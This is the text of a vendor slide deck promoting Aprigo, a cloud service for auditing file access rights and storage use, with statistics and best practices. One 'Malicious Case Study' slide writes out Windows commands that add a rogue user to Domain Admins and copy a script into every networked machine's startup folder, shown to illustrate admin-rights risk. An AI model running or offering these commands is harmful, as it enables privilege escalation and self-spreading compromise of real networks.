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Winning the war against data- Strategies to beat your arch nemesis: files - Gil Zimmerman, CEO and Co-Founder, Aprigo
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TM
Microsoft BizSpark
Startup of the Day!
Winning the war against dataStrategies to beat your arch nemesis: files.
Gil Zimmermann, CEO & Co-Founder
On-Premise & Cloud Data (read: files) Identify & Act
Access and Storage Control
Attention:Your Data Hates You!
Aprigo IT Benchmark
• SaaS offering
• Over 1,000 companies using Aprigo
• Over 750TBs under management
• Exposure at 95%
• Cost savings potential at 71%
• Installs in under 5 minutes
Data Deluge is a Problem
• Files exploding everywhere
• 75-90% of all data is unstructured (files)
• Valuable business asset
• Touched by everyone
• Vulnerable & exposed
• Expensive to manage
IT Owns the Data Problem
Data DelugeData UsersCompliance & RegulationBusiness Data Dependence
=IT BudgetsIT HeadcountNo Mid-Market Solutions
~∅
IT FiresExposureDisruptionWaste
Access Problem Math• ACLs allow 13 different rights to access an object
• 12 practical combinations of ACE settings
• Permissions can be granted or denied
• 2^13*12 = 98,304 different access rights you can define
• Can be applied to a user/group to form an ACE, unlimited number of ACEs can be combined into an ACL
• Each file/folder can be attached to a different ACL
• Millions of files, hundreds/thousands of users
• Business needs to know who has access to what
Access Best Practices• Typical Exposure (95+%)
• Everyone (66%)
• Domain Users (45%)
• Explicit Permissions (92%)
• Don't over-organize your users, use inheritance
• Rogue Users
• Local Admins (99%)
• Outsiders are a new threat on Google Docs (98%)
• Talk in business terms (exposure, audit, risk, etc)
Access Use Cases
• IT Audits
• Help-Desk
• Active Directory Migrations
• IT GRC
• Data Breaches
• Data Forensics
• Entitlement Reporting
Capacity Best Practices• Start with the obvious:
• Untouched in 90 days (81%)
• Media files (35%) vs. documents (16%)
• Large files over 100MBs (49%)
• Gets harder every time, so dig deeper
• Orphaned files (by owner)
• Small files that multiply
• Talk in business terms ($/GB, overhead, etc.)
Capacity Use Cases
• Disk Full
• Data Center Consolidation
• Data Migration
• Storage Refresh
• Backup/Replication Window Failure
• Chargeback
• Tiering
Storage Planning
• Understanding the data composition
• Capacity
• Cost (primary & secondary)
• Growth rate
• Ownership
• Data-intensive initiatives
• Reclaim costs by better utilization
Google Docs Best Practices
• Basic settings
• Enable/disable sharing
• Set up alerts for external sharing
• Hope for the best...
• Google Apps APIs
• Dashboard plugin
• Discover new shares on your network
• Network Share tab
• Preliminary access view
• Capacity utilization
• Available on any network share
• Find exposure & savings w/Aprigo NINJA
Spiceworks Integration
Spiceworks Plug-in
Innocent Case Study• Bill the CFO owns the Finance share
• \\ACMESRV\Finance\Secrets contains some of the company’s most sensitive data
• Bill and his group have access
• ‘Domain Users’ is the default permission
• All employees have access
• Those with access can share...
Malicious Case Study• BUILTIN\Administrators
• 2 Line script to get to DOMAIN\Administrators
• net user /domain /add rogueuser roguepass
• net group /domain "Domain Admins" /add rogueuser
• 1 more line to total network access
• for /F %%i in ('net view') do copy /Y %0 "%%i\c$\documents and settings\all users\start menu\programs\startup"
Aprigo’s Approach
DataDashboard
Reports & Audits
! Alerts & Monitoring
Aprigo Cloud Infrastructure
Capacity Management
AccessManagement
gDocsManagement
AccessAuditing
CostCalculator
ITBenchmark Go-FIX ISV Apps
CustomerIntegrations
Traditional Data Management
LAN
IT EnvironmentServer
NAS Appliances(NetApp / EMC)
WindowsFile ServersActive
DirectoryMetadataCollector
UI
ApplicationServers
AnalyticsServers
DatabaseServers
SAN
Network Shares
Web Services
AgentsAgents
AgentsAgents
AgentsAgents
SaaS Data Management
LAN
IT Environment
THE APRIGO SOLUTION (Single SIte)
Aprigo Back-End(SAS70-II Data Center)
Web Services
ApplicationServers
AnalyticsServers
DatabaseServers
SAN
Encrypted HTTPS Traffic
NAS Appliances(NetApp / EMC)
WindowsFile ServersActive
Directory MetadataCollector
NINJA / UINetwork Shares
Data Dashboard
Capacity Management
Access Management
Access Auditing
IT Benchmarking
Google Docs Access
Q & A
• Functionality
• Technology
• Plug-in
• On-Premise vs. Cloud
• Suggestions/Thoughts
• etc...
Thank You!
Customer Segments
Education Financials Health
IT ConsultantsTechOil
Commercial LandscapeLo
w C
ost
/ E
ase
-of-
use
/ S
cala
bili
ty
Complete Solution / Functionality
SaaS / Cloud
Aprigo is the only SaaS solution. Running in minutes, globally.
Risk &
Governance
Storage &
Data Mgmt
Homegrown
Leaders
Commodity